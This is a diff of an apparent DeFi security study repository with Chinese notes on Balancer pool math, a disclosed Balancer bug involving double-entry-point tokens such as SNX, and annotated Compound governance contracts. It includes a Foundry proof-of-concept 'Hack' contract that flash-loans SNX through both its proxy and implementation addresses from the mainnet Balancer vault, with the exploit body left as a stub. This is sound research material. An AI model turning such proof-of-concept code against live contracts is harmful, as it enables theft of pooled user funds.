+    let daiTokenUser2 = daiToken.connect(user2);
+
+    // Arpprove yearnVaultMock to do the transnfer
+    await daiTokenUser2.approve(yearnVaultMock.address,1000);
+
+    // Deposite to yearnVaultMock
+    await yearnVaultMock.deposit(100);
+
+    // User2 yarnValutMock
+    let yearnVaultMockUser2 = yearnVaultMock.connect(user2);
+
+    // Deposite to yearnVaultMock
+    await yearnVaultMockUser2.deposit(100);
+
+    // Set WhiteList for user2
+    expect(await yearnVaultMock.balanceOf(user2.address)).to.equal(100);
+
+    // Clear
+    await yearnVaultMock.clear();
+
+    // Check result
+    expect(await daiToken.balanceOf(yearnControllerMock.address)).to.equal(200);
+  });
+
+  
+});
diff --git a/defi/Balancer/POC.t.sol b/defi/Balancer/POC.t.sol
new file mode 100644
index 000000000..4bff9fe13
--- /dev/null
+++ b/defi/Balancer/POC.t.sol
@@ -0,0 +1,87 @@
+pragma solidity 0.8.12;
+
+import "ds-test/test.sol";
+import "forge-std/stdlib.sol";
+import "forge-std/Vm.sol";
+
+
+contract BalancerAddr is DSTest, stdCheats {
+    address public constant vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
+    address public constant feeCollector = 0xce88686553686DA562CE7Cea497CE749DA109f9F;
+
+    address public constant SNX = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;
+    address public constant SNX_IMPL = 0x931933807c4c808657b6016f9e539486e7B5d374;
+}
+interface ERC20Like {
+    function balanceOf(address _owner) external view returns (uint256);
+    function transfer(address _to, uint256 _value) external;
+    function approve(address,uint) external;
+}
+interface BalancerFlashLoanLike {
+    function flashLoan(
+        address recipient,
+        address[] memory tokens,
+        uint256[] memory amounts,
+        bytes memory userData
+    ) external;
+}
+contract Hack is BalancerAddr {
+    constructor() {
+
+    }
+    ///ESAY WAY, no complicate, bubble sort
+    function sortTokens(address[] memory tokens) public returns (address[] memory) {
+        for (uint256 i = 0; i < tokens.length; ++i) {
+            for (uint256 j = i + 1; j < tokens.length; ++j) {
+                if (tokens[i] > tokens[j]) {
+                    address temp = tokens[i];
+                    tokens[i] = tokens[j];
+                    tokens[j] = temp;
+                }
+            }
+        }
+        return tokens;
+    }
+    function start() public {
+        address[] memory tokens = new address[](2);
+        tokens[0] = SNX;
+        tokens[1] = SNX_IMPL;
+
+        tokens = sortTokens(tokens);
+
+        uint256[] memory amounts = new uint256[](2);
+        amounts[0] = 99 ether;
+        amounts[1] = 1 ether;
+
+        BalancerFlashLoanLike(vault).flashLoan(
+            address(this),
+            tokens,
+            amounts,
+            ""
+        );
+    }
+    function receiveFlashLoan(
+        address[] memory tokens,
+        uint256[] memory amounts,
+        uint256[] memory feeAmounts,
+        bytes memory userData
+    ) external {
+        //do something
+        ERC20Like(SNX).transfer(vault, 100 ether);
+    }
+    
+}
+
+contract POC is BalancerAddr {
+    Vm public vm = Vm(HEVM_ADDRESS);
+    Hack public hack;
+
+    function setUp() public {
+        hack = new Hack();
+    }
+    function test_Start() public {
+        hack.start();
+    }
+}
+
+
diff --git a/defi/Balancer/Readme.md b/defi/Balancer/Readme.md
new file mode 100644
index 000000000..4b07f44f6
--- /dev/null
+++ b/defi/Balancer/Readme.md
@@ -0,0 +1,211 @@
+# Balancer Share
+
+## Balancer 核心公式及推导
+
+balancer 创建一个指数池子，这个池子中存在多种 token，每一种 token 有一个自定义的 weight，类似于 Uniswap，balancer 中的所有 token 的交换满足如下公式：
+
+$V = \prod_t B_t^{W_t}$
+
+其中，V 是一个常量，$B_t$是第 t 种 token 在池子中的 balance。$w_t$是该中 token 的 normalized weitght。$w_t$的定义如下：
+
+$W_t = \frac{w_i}{\sum w_i}$
+
+其中，每一种 token 的$w_i$由创建该池子的管理员定义。一般情况下的 swap，add/remove liquidity 不会影响到 token 的权重。  
+这让 balancer 非常适合用作指数。
+
+## SPOT price
+
+在不考虑手续费的条件下，balancer 里面，两种 token 兑换的 spot price 定义如下：
+
+$SP_i^o=\frac{B_i/w_i}{B_o/w_o}$
+
+其中，$B_i$是 token_i 的 balance；$B_o$是 token_o 的 balance。$w_i$ 是 token_i 的权重，$w_o$是 token_o 的权重；
+
+### 证明过程
+
+首先定义 effective price，即实际交易的 price：
+
+$EP_t^o=A_i/A_o$
+
+则，SPOT price 为：
+
+$SP_t^o  =\displaystyle{\lim_{A_0,A_i \to 0}}EP_t^o
+        =\displaystyle{\lim_{A_0,A_i \to 0}} \frac{A_i}{A_o}
+        =\displaystyle{\lim_{\Delta B_0,\Delta B_i \to 0}} \frac{\Delta B_i}{-\Delta B_o}$
+
+且：
+
+$B_i^{W_i}=\frac{V}{B_o^{W_o} \cdot \prod_{k \neq i,o}B_k^{W_k}}$
+
+则：
+
+$B_i=\left(\frac{V}{B_o^{W_o} \cdot \prod_{k \neq i,o}B_k^{W_k}}\right)^{1/{W_i}}$
+
+即：
+
+$SP_t^o  = \frac{\delta B_i}{-\delta B_o} = \frac{\delta}{-\delta B_o} \left( \left(\frac{V}{B_o^{W_o} \cdot \prod_{k \neq i,o}B_k^{W_k}}\right)^{1/{W_i}}\right)$
+
+$= (\frac{V}{\prod_{k \neq i,o}B_k^{W_k}})^{1/W_i} \cdot \frac{\delta B_o^{-W_o/W_i}}{-\delta B_o}$
+
+$= (\frac{V}{\prod_{k \neq i,o}B_k^{W_k}})^{1/W_i} \cdot \frac{W_o}{W_i} \cdot (B_o)^{-W_o/W_i - 1}$
+
+$= (\frac{V}{B_o^{W_0} \cdot \prod_{k \neq i,o}B_k^{W_k}})^{1/W_i} \cdot \frac{W_o}{W_i} \cdot \frac{1}{B_0}$
+
+$= B_i \cdot \frac{W_o}{W_i} \cdot \frac{1}{B_0}$
+
+$= \frac{B_i/W_i}{B_o/W_o}$
+
+## TVL
+
+在 balancer 里面，衡量一个池子的 TVL 可以用如下公式来计算：
+
+$V^t = B_t + \sum_{k\neq t} V_{k}^t$
+
+公式的算法含义是：选择该池的一个 token，如 USDC，作为计价 token。则该池子的 TVL 可以认为是 USDC 的数量与该池子的其他 token 在池子理论上兑换的 USDC 的数量之和。
+
+$V_k^t = B_n / SP_n^t = B_n \cdot \frac{B_t / W_t}{B_n / W_n} = B_t \cdot \frac{W_n}{W_t}$
+
+则，TVL 可以化简为：
+
+$V^t = B_t + \frac{B_t}{W_t} \sum_{k \neq t} W_n = \frac{B_t}{W_t}$
+
+**这种 TVL 的计算方式导致 TVL 只跟$B_t$相关,$W_t$是一个常量，容易被操控。**
+**Index Finance 的 Hack 里的一个关键点就在于这种 TVL 的计算机制**
+这里的 TVL 计算方式，跟 Uni 里面对于 LP 的错误定价方式的错误是一样的。TVL 的计算不能够使用池子里的 balance 来计算，否则都容易被操纵。
+
+## SWAP
+
+在不考虑手续费的情况下，SWAP 时，V 保持不变；可以利用 V 不变的性质来计算应该 swap 出的 token 数量。开考虑手续费的情况下，计算 SWAP 时，把手续费扣在 input token 上，然后再按照不要手续费的情况来考虑计算。
+
+### Out-Given-In
+
+不考虑手续费：
+
+$A_o = B_o \cdot \left(1 - \left(\frac{B_i}{B_i + A_i} \right)^{W_i/W_o} \right)$
+
+考虑手续费：swap fee => SF => 百分比
+
+$A_o = B_o \cdot \left(1 - \left(\frac{B_i}{B_i + A_i \cdot (1 - SF)} \right)^{W_i/W_o} \right)$
+
+### In-Given-Out
+
+不考虑手续费：
+
+$A_i = B_i \cdot \left((\frac{B_o}{B_o - A_o})^{W_o/W_i} - 1\right)$
+
+考虑手续费：
+
+$A_i = B_i \cdot \left((\frac{B_o}{B_o - A_o})^{W_o/W_i} - 1\right) / (1 - SF)$
+
+## Add/Remove LP
+
+### 等比例的添加 token,不导致 SPOT price 移动，其比例应该是：
+
+$(B_i/W_i):(B_j/W_j):(B_k/W_k)$
+
+如果等比例的添加 token，则也会等比例的 mint 出 LP；
+但是在**代码实现中**，该比例并不是保证 SPOT price 不变的比例，而是：
+
+$B_i :B_j:B_k$
+
+即，当 JOIN POOL 之后，SPOT price 会发生移动。
+具体实现如下：
+
+```solidity
+function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn)
+        external
+    {
+        uint poolTotal = totalSupply();
+        uint ratio = bdiv(poolAmountOut, poolTotal);
+
+        for (uint i = 0; i < _tokens.length; i++) {
+            address t = _tokens[i];
+            uint bal = _records[t].balance; //比例是records.balance, 而非 balance/ weight
+            uint tokenAmountIn = bmul(ratio, bal);
+            _records[t].balance = badd(_records[t].balance, tokenAmountIn);
+            _pullUnderlying(t, msg.sender, tokenAmountIn);
+        }
+        _mintPoolShare(poolAmountOut);
+        _pushPoolShare(msg.sender, poolAmountOut);
+    }
+```
+
+### 单币添加或者不均匀添加,会导致价格移动
+
+### Single Asset Deposit
+
+1. borrow B, C
+2. deposit A + B + C (equally)
+3. swap A for B
+4. swap A for C
+5. repay B, C
+
+LP 的数量应该与池子里的不变量 V 成正比，即：
+
+$\frac{V'}{V} = \frac{LP'}{LP}$
+
+### Pool Out Given Single In
+
+如果不考虑手续费：
+则公式如下：
+
+$P_{issued} = P_{supply}\cdot \left((1+\frac{A_t}{B_t})^{W_t} - 1\right)$
+
+如果考虑手续费：
+
+$P_{issued} = P_{supply}\cdot \left((1 + \frac{A_t \cdot (1 - (1 - W_t) \cdot SF))}{B_t})^{W_t} - 1\right)$
+
+证明过程如下：
+
+$\frac{V'}{V} = \frac{\prod_k(B'_k)^{W_k}}{\prod_k(B_k)^{W_k}}$
+$= \frac{(B'_k)^{W_t}}{(B'_k)^{W_t}}$
+$= (\frac{B'_k}{B_k})^{W_t}$
+$= ({\frac{B_k + A_k}{B_k}})^{W_t}$
+
+$\frac{LP'}{LP} = \frac{P_{supply} + P_{issue}}{P_{supply}}$
+
+对于 PoolOutGivenSingleIn，就是已知$A_t$,求$P_{issued}$
+对于 SingleInGivenPoolOut，就是已知$P_{issued}$，求$A_t$
+
+### Single Asset Withdraw: 等价于：
+
+1. withdrap lp equally, get A, B, C
+2. swap B for A
+3. swap C for A
+
+### Single Out Given Pool In
+
+不考虑手续费：
+公式如下：
+
+$A_t = B_t \cdot \left(1 - (1 - \frac{P_{redeemed}}{P_{supply}})^{\frac{1}{W_t}} \right)$
+
+考虑手续费：
+
+$A_t = B_t \cdot \left(1 - (1 - \frac{P_{redeemed} \cdot (1 - EF)}{P_{supply}})^{\frac{1}{W_t}} \right) \cdot (1 - (1 - W_t)SF)$
+
+其中，SF 是 swap fee， EF 是 exit pool fee
+
+证明过程如下：
+
+$\frac{V'}{V} = \frac{LP'}{LP}$
+
+$\frac{V'}{V} = \frac{\prod_k(B'_k)^{W_k}}{\prod_k(B_k)^{W_k}}= \frac{(B'_k)^{W_t}}{(B'_k)^{W_t}} = (\frac{B'_k}{B_k})^{W_t}$
+
+$= ({\frac{B_k - A_k}{B_k}})^{W_t}$
+
+$\frac{LP'}{LP} = \frac{P_{supply} - P_{redeemed}}{P_{supply}}$
+
+对于 SingleOutGivenPoolIn,就是已知$P_{redeemd}$求未知的$A_k$
+
+对于 PoolInGivenSingleOut， 就是已知$A_k$,求$P_{redeemd}$
+
+## 基于 Balancer 上的上层应用：Indexed Finance 指数基金
+
+- <https://legacy.indexed.finance/index/DEFI5>
+- <https://legacy.indexed.finance/categories>
+
+## WhitePaper
+
+- <https://balancer.fi/whitepaper.pdf>
+
diff --git a/defi/Balancer/RecentHack.md b/defi/Balancer/RecentHack.md
new file mode 100644
index 000000000..6084d66b4
--- /dev/null
+++ b/defi/Balancer/RecentHack.md
@@ -0,0 +1,47 @@
+# Ref
+https://forum.balancer.fi/t/medium-severity-bug-found/3161
+
+# Ana
+Double entry point token
+SNX: https://etherscan.io/address/0xc011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f#code
+sBTC: https://etherscan.io/address/0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6#code => synthetics
+
+the key drawback is :
+简单来讲就是，既可以通过Proxy合约地址来进行transfer，也可以通过Impl合约地址来transfer。因为合约的状态没有存放在proxy里面，而是存放在Impl里面。这种token类似于TUSD，可以对COMP的仿盘造成很大的伤害。现在来看，也会导致balancer出现问题。
+```js
+// Proxy:
+function transfer(address to, uint256 value) public returns (bool) {
+        // Mutable state call requires the proxy to tell the target who the msg.sender is.
+        target.setMessageSender(msg.sender);
+
+        // Forward the ERC20 call to the target contract
+        IERC20(target).transfer(to, value);
+
+        // Event emitting will occur via Synthetix.Proxy._emit()
+        return true;
+    }
+//Impl: 
+function transfer(address to, uint value) external optionalProxy systemActive returns (bool) {
+        // Ensure they're not trying to exceed their locked amount -- only if they have debt.
+        _canTransfer(messageSender, value);
+
+        // Perform the transfer: if there is a problem an exception will be thrown in this call.
+        _transferByProxy(messageSender, to, value);
+
+        return true;
+    }
+modifier optionalProxy {
+        _optionalProxy();
+        _;
+    }
+function _optionalProxy() private {
+        if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
+            messageSender = msg.sender;
+        }
+    }
+```
+这里主要是要熟悉一下Balancer的Flashloan机制。目前Balancer的flashloan也是免费的！手续费为0；
+https://docs.balancer.fi/concepts/features/flash-loans,需要sorted tokens！！
+
+DOUBLE ENTRY POINT的TOKEN到底意味着什么？
+它的balanceOf很像msg.vaule的感觉。
\ No newline at end of file
diff --git a/defi/Compound/DAO/COMP.md b/defi/Compound/DAO/COMP.md
new file mode 100644
index 000000000..41c08c740
--- /dev/null
+++ b/defi/Compound/DAO/COMP.md
@@ -0,0 +1,175 @@
+# COMP token
+
+> COMP is an ERC-20 token that allows the owner to delegate voting rights to any address, including their own address. Changes to the owner’s token balance automatically adjust the voting rights of the delegate.
+
+## ERC20 api
+
+大部分接口实现是标准的 ERC20
+
+### \_transferTokens
+
+由于代币除了本身的 token 属性外，还具有代表投票权的属性，所以转让的方法做了部分修改。在常规的用户余额的增减操作之后，会调用转移投票权的方法 `_moveDelegates()`
+
+```solidity
+function _transferTokens(address src, address dst, uint96 amount) internal {
+    require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
+    require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
+
+    balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
+    balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
+    emit Transfer(src, dst, amount);
+
+    _moveDelegates(delegates[src], delegates[dst], amount);
+}
+```
+
+## governance api
+
+治理投票相关的 api
+
+### delegate
+
+将自己的投票权委托给目标地址（包括自己）
+
+- `delegate()` (msg.sender)直接委托给代理人
+- `delegateBySig()` 委托人提供 vrs 签名，其他人代为操作
+
+```solidity
+/**
+* @notice Delegate votes from `msg.sender` to `delegatee`
+* @param delegatee The address to delegate votes to
+*/
+function delegate(address delegatee) public;
+
+/**
+* @notice Delegates votes from signatory to `delegatee`
+* @param delegatee The address to delegate votes to
+* @param nonce The contract state required to match the signature
+* @param expiry The time at which to expire the signature
+* @param v The recovery byte of the signature
+* @param r Half of the ECDSA signature pair
+* @param s Half of the ECDSA signature pair
+*/
+function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public;
+```
+
+上述两个方法内部都是调用 `_delegate()`
+
+```solidity
+function _delegate(address delegator, address delegatee) internal {
+    address currentDelegate = delegates[delegator];
+    uint96 delegatorBalance = balances[delegator];
+    delegates[delegator] = delegatee;
+
+    emit DelegateChanged(delegator, currentDelegate, delegatee);
+
+    _moveDelegates(currentDelegate, delegatee, delegatorBalance);
+}
+```
+
+转移投票权的方法:
+
+- 减少用户 srcRep 的投票权，增加用户 dstRep 的投票权
+- checkpoints 变量存储了每个用户在投票权发生变化时的投票权数量和区块序号
+
+```solidity
+function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
+    if (srcRep != dstRep && amount > 0) {
+        if (srcRep != address(0)) {
+            uint32 srcRepNum = numCheckpoints[srcRep];
+            uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
+            uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
+            _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
+        }
+
+        if (dstRep != address(0)) {
+            uint32 dstRepNum = numCheckpoints[dstRep];
+            uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
+            uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
+            _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
+        }
+    }
+}
+
+/// @notice A checkpoint for marking number of votes from a given block
+struct Checkpoint {
+    uint32 fromBlock;
+    uint96 votes;
+}
+
+/// @notice A record of votes checkpoints for each account, by index
+/// 每个用户的投票权数量变化的记录，{数量，blockNumber}
+mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
+/// @notice The number of checkpoints for each account
+/// 每个用户下一个checkpoint的索引值（当前的值+1）
+mapping (address => uint32) public numCheckpoints;
+
+function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
+    uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
+
+    // 如果同一个用户在一个区块内连续更新多次，则覆盖上一次的记录值
+    // 注意 nCheckpoints 在之前已经+1，所以这里需要-1
+    if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
+        checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
+    } else {
+        // 不是在同一个区块内连续更新
+        checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
+        numCheckpoints[delegatee] = nCheckpoints + 1;
+    }
+
+    emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
+}
+```
+
+### getPriorVotes
+
+获取目标用户在特定 `blockNumber` 以前的，被委托的投票权数量。
+
+1. 检查目标用户最新的一次数量记录
+   - 如果记录时间 < 目标时间，返回数量
+2. 检查目标用户第一条记录
+   - 记录时间 > 目标时间， 返回 0
+3. 1，2 都没有匹配结果，则从用户第一条记录到最后一条记录之间，利用索引值遍历结果
+
+```solidity
+/**
+    * @notice Determine the prior number of votes for an account as of a block number
+    * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
+    * @param account The address of the account to check
+    * @param blockNumber The block number to get the vote balance at
+    * @return The number of votes the account had as of the given block
+    */
+function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
+    require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
+
+    uint32 nCheckpoints = numCheckpoints[account];
+    if (nCheckpoints == 0) {
+        return 0;
+    }
+
+    // First check most recent balance
+    if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
+        return checkpoints[account][nCheckpoints - 1].votes;
+    }
+
+    // Next check implicit zero balance
+    if (checkpoints[account][0].fromBlock > blockNumber) {
+        return 0;
+    }
+
+    uint32 lower = 0;
+    uint32 upper = nCheckpoints - 1;
+    while (upper > lower) {
+        uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
+        Checkpoint memory cp = checkpoints[account][center];
+        if (cp.fromBlock == blockNumber) {
+            return cp.votes;
+        } else if (cp.fromBlock < blockNumber) {
+            lower = center;
+        } else {
+            upper = center - 1;
+        }
+    }
+    return checkpoints[account][lower].votes;
+}
+```
diff --git a/defi/Compound/DAO/CrowdProposal.md b/defi/Compound/DAO/CrowdProposal.md
new file mode 100644
index 000000000..845f9dc86
--- /dev/null
+++ b/defi/Compound/DAO/CrowdProposal.md
@@ -0,0 +1,134 @@
+# CrowdProposal
+
+> Compound Autonomous Proposals allow anyone with enough COMP stake (currently 100; subject to change) to create an autonomous proposal and gather public support by receiving delegations to the autonomous proposal contract.
+
+github 仓库： <https://github.com/compound-finance/autonomous-proposals>
+
+Compound 自治提案允许任何拥有足够 COMP 股权（目前为 100；可能会发生变化）的人创建自治提案，并通过接收自治提案合同的委托来收集公众支持。
+
+## CrowdProposalFactory
+
+自治提案合约的工厂函数，帮助用户部署属于自己的 CrowdProposal 合约。需要用户质押 100COMP，待提案结束后返还。
+
+```solidity
+/**
+* @notice Create a new crowd proposal
+* @notice Call `Comp.approve(factory_address, compStakeAmount)` before calling this method
+* @param targets The ordered list of target addresses for calls to be made
+* @param values The ordered list of values (i.e. msg.value) to be passed to the calls to be made
+* @param signatures The ordered list of function signatures to be called
+* @param calldatas The ordered list of calldata to be passed to each call
+* @param description The block at which voting begins: holders must delegate their votes prior to this block
+*/
+function createCrowdProposal(address[] memory targets,
+                                uint[] memory values,
+                                string[] memory signatures,
+                                bytes[] memory calldatas,
+                                string memory description) external {
+    CrowdProposal proposal = new CrowdProposal(msg.sender, targets, values, signatures, calldatas, description, comp, governor);
+    emit CrowdProposalCreated(address(proposal), msg.sender, targets, values, signatures, calldatas, description);
+
+    // Stake COMP and force proposal to delegate votes to itself
+    IComp(comp).transferFrom(msg.sender, address(proposal), compStakeAmount);
+}
+```
+
+## CrowdProposal
+
+自治提案合约
+
+### constructor
+
+构造函数，保存提案内容和提案人等信息，将初始质押的100COMP投票权委托给本合约。
+
+```solidity
+/**
+* @notice Construct crowd proposal
+* @param author_ The crowd proposal author
+* @param targets_ The ordered list of target addresses for calls to be made
+* @param values_ The ordered list of values (i.e. msg.value) to be passed to the calls to be made
+* @param signatures_ The ordered list of function signatures to be called
+* @param calldatas_ The ordered list of calldata to be passed to each call
+* @param description_ The block at which voting begins: holders must delegate their votes prior to this block
+* @param comp_ `COMP` token contract address
+* @param governor_ Compound protocol `GovernorBravo` contract address
+*/
+constructor(address payable author_,
+            address[] memory targets_,
+            uint[] memory values_,
+            string[] memory signatures_,
+            bytes[] memory calldatas_,
+            string memory description_,
+            address comp_,
+            address governor_) public {
+    author = author_;
+
+    // Save proposal data
+    targets = targets_;
+    values = values_;
+    signatures = signatures_;
+    calldatas = calldatas_;
+    description = description_;
+
+    // Save Compound contracts data
+    comp = comp_;
+    governor = governor_;
+
+    terminated = false;
+
+    // Delegate votes to the crowd proposal
+    IComp(comp_).delegate(address(this));
+}
+```
+
+### propose
+
+当该合约被委托数量足够（65000），可以调用该方法，向bravo正式发起提案
+
+```solidity
+/// @notice Create governance proposal
+function propose() external returns (uint) {
+    require(govProposalId == 0, 'CrowdProposal::propose: gov proposal already exists');
+    require(!terminated, 'CrowdProposal::propose: proposal has been terminated');
+
+    // Create governance proposal and save proposal id
+    govProposalId = IGovernorBravo(governor).propose(targets, values, signatures, calldatas, description);
+    emit CrowdProposalProposed(address(this), author, govProposalId);
+
+    return govProposalId;
+}
+```
+
+### terminate
+
+终止自治提案合约，将质押的100COMP返还创建者
+
+```solidity
+/// @notice Terminate the crowd proposal, send back staked COMP tokens
+function terminate() external {
+    require(msg.sender == author, 'CrowdProposal::terminate: only author can terminate');
+    require(!terminated, 'CrowdProposal::terminate: proposal has been already terminated');
+
+    terminated = true;
+
+    // Transfer staked COMP tokens from the crowd proposal contract back to the author
+    IComp(comp).transfer(author, IComp(comp).balanceOf(address(this)));
+
+    emit CrowdProposalTerminated(address(this), author);
+}
+```
+
+### vote
+
+调用bravo合约进行提案投票
+
+```solidity
+/// @notice Vote for the governance proposal with all delegated votes
+function vote() external {
+    require(govProposalId > 0, 'CrowdProposal::vote: gov proposal has not been created yet');
+    // Support the proposal, vote value = 1
+    IGovernorBravo(governor).castVote(govProposalId, 1);
+
+    emit CrowdProposalVoted(address(this), govProposalId);
+}
+```
\ No newline at end of file
diff --git a/defi/Compound/DAO/GovernorBravo.md b/defi/Compound/DAO/GovernorBravo.md
new file mode 100644
index 000000000..926591d13
--- /dev/null
+++ b/defi/Compound/DAO/GovernorBravo.md
@@ -0,0 +1,481 @@
+# GovernorBravo
+
+Bravo 模块，执行具体的投票流程。主要由三部分组成：
+
+- `GovernorBravoDelegator` 作为可升级合约的 proxy
+- `GovernorBravoDelegateStorageV1` 定义了模块的存储接口，后续升级必须继承前一代的结构
+- `GovernorBravoDelegate` 投票的执行逻辑合约
+
+其他的依赖合约：
+
+- `Timelock` 用于对投票操作的交易进行队列排序
+- `COMP` 原生治理代币
+
+## GovernorBravoDelegateStorageV1
+
+Bravo 的存储结构合约，主要定义了 storage 变量
+
+```solidity
+/// @notice The delay before voting on a proposal may take place, once proposed, in blocks
+/// 提案成功提交后，延迟多长时间再进入投票进程，最小1s，最大1week
+uint public votingDelay;
+
+/// @notice The duration of voting on a proposal, in blocks
+/// 投票时长，最小24h，最大2weeks
+uint public votingPeriod;
+
+/// @notice The number of votes required in order for a voter to become a proposer
+/// 发起提案需要的最小投票权数量（包括被委托的），最小50000，最大100000
+uint public proposalThreshold;
+
+/// @notice Initial proposal id set at become
+uint public initialProposalId;
+
+/// @notice The total number of proposals
+uint public proposalCount;
+
+/// @notice The address of the Compound Protocol Timelock
+TimelockInterface public timelock;
+
+/// @notice The address of the Compound governance token
+CompInterface public comp;
+
+/// @notice The official record of all proposals ever proposed
+/// 所有提案的记录
+mapping (uint => Proposal) public proposals;
+
+/// @notice The latest proposal for each proposer
+mapping (address => uint) public latestProposalIds;
+
+```
+
+提案结构
+
+```solidity
+struct Proposal {
+    /// @notice Unique id for looking up a proposal
+    uint id;
+
+    /// @notice Creator of the proposal
+    address proposer;
+
+    /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
+    /// 提案在投票通过后，应在多久之后才能被执行。这个时间用户不需要自己设置，由合约进行设置
+    uint eta;
+
+    /// @notice the ordered list of target addresses for calls to be made
+    /// 该提案需要执行的目标合约地址(cToken)
+    address[] targets;
+
+    /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
+    uint[] values;
+
+    /// @notice The ordered list of function signatures to be called
+    string[] signatures;
+
+    /// @notice The ordered list of calldata to be passed to each call
+    bytes[] calldatas;
+
+    /// @notice The block at which voting begins: holders must delegate their votes prior to this block
+    /// 提案发起的blockNumber，检验投票权将以此节点之前计算，即这之后的投票权委托操作将不会影响此提案
+    uint startBlock;
+
+    /// @notice The block at which voting ends: votes must be cast prior to this block
+    /// 提案投票结束的blockNumber，票数的计算将以此节点之前计算
+    uint endBlock;
+
+    /// @notice Current number of votes in favor of this proposal
+    /// 目前赞成的票数
+    uint forVotes;
+
+    /// @notice Current number of votes in opposition to this proposal
+    /// 目前反对的票数
+    uint againstVotes;
+
+    /// @notice Current number of votes for abstaining for this proposal
+    /// 目前弃权的票数
+    uint abstainVotes;
+
+    /// @notice Flag marking whether the proposal has been canceled
+    /// 提案是否被取消
+    bool canceled;
+
+    /// @notice Flag marking whether the proposal has been executed
+    /// 提案是否被执行
+    bool executed;
+
+    /// @notice Receipts of ballots for the entire set of voters
+    /// 选民的选票回执
+    mapping (address => Receipt) receipts;
+}
+
+/// @notice Ballot receipt record for a voter
+/// 选票收据
+struct Receipt {
+    /// @notice Whether or not a vote has been cast
+    bool hasVoted;
+
+    /// @notice Whether or not the voter supports the proposal or abstains
+    /// 是否支持或者弃权 0=against, 1=for, 2=abstain
+    uint8 support;
+
+    /// @notice The number of votes the voter had, which were cast
+    /// 选民投出的票数
+    uint96 votes;
+}
+
+```
+
+## GovernorBravoDelegate
+
+Bravo 模块的逻辑合约。功能包括发起提案，接受用户对提案的投票，裁决提案结果，执行提案中的操作。
+
+开头定义了一些对于 storage 变量的限制数值，比如 `MIN_PROPOSAL_THRESHOLD` 和 `MAX_PROPOSAL_THRESHOLD` 定义了 `proposalThreshold` 的最大值和最小值，保证 bravo 模块的初始参数在一个合理的范围内。
+
+### propose
+
+发起新的提案，调用者的被委托投票权数量必须超过 `proposalThreshold`。入参需要提供了该提案将会修改哪些目标合约，及其对应的 value 和 calldata，以数组形式分别传入。另外 signatures 字段提供了将 calldata 加密的功能。
+
+propose 的函数主要逻辑：
+
+1. 调用者的被委托投票权数量是否大于 `proposalThreshold`
+2. 校验入参数组长度是否一致
+3. 操作组数不能为 0 且不能超过最大数量限制(10)
+4. 检查调用者是否已有处于 Active 或 Pending 状态的提案，若有则 revert
+5. 更新提案的总数量
+6. 存入新提案数据
+7. 返回提案 id
+
+```solidity
+/**
+    * @notice Function used to propose a new proposal. Sender must have delegates above the proposal threshold
+    * @param targets Target addresses for proposal calls
+    * @param values Eth values for proposal calls
+    * @param signatures Function signatures for proposal calls
+    * @param calldatas Calldatas for proposal calls
+    * @param description String description of the proposal
+    * @return Proposal id of new proposal
+    */
+function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
+    // Reject proposals before initiating as Governor
+    require(initialProposalId != 0, "GovernorBravo::propose: Governor Bravo not active");
+    require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorBravo::propose: proposer votes below proposal threshold");
+    require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorBravo::propose: proposal function information arity mismatch");
+    require(targets.length != 0, "GovernorBravo::propose: must provide actions");
+    require(targets.length <= proposalMaxOperations, "GovernorBravo::propose: too many actions");
+
+    uint latestProposalId = latestProposalIds[msg.sender];
+    if (latestProposalId != 0) {
+        ProposalState proposersLatestProposalState = state(latestProposalId);
+        require(proposersLatestProposalState != ProposalState.Active, "GovernorBravo::propose: one live proposal per proposer, found an already active proposal");
+        require(proposersLatestProposalState != ProposalState.Pending, "GovernorBravo::propose: one live proposal per proposer, found an already pending proposal");
+    }
+
+    // 提案的投票开始和结束时间是根据当前时间自动生成的，固这个阶段的时长受到规则的限制
+    // 并不能设置太短或太长
+    uint startBlock = add256(block.number, votingDelay);
+    uint endBlock = add256(startBlock, votingPeriod);
+
+    proposalCount++;
+    Proposal memory newProposal = Proposal({
+        id: proposalCount,
+        proposer: msg.sender,
+        eta: 0,
+        targets: targets,
+        values: values,
+        signatures: signatures,
+        calldatas: calldatas,
+        startBlock: startBlock,
+        endBlock: endBlock,
+        forVotes: 0,
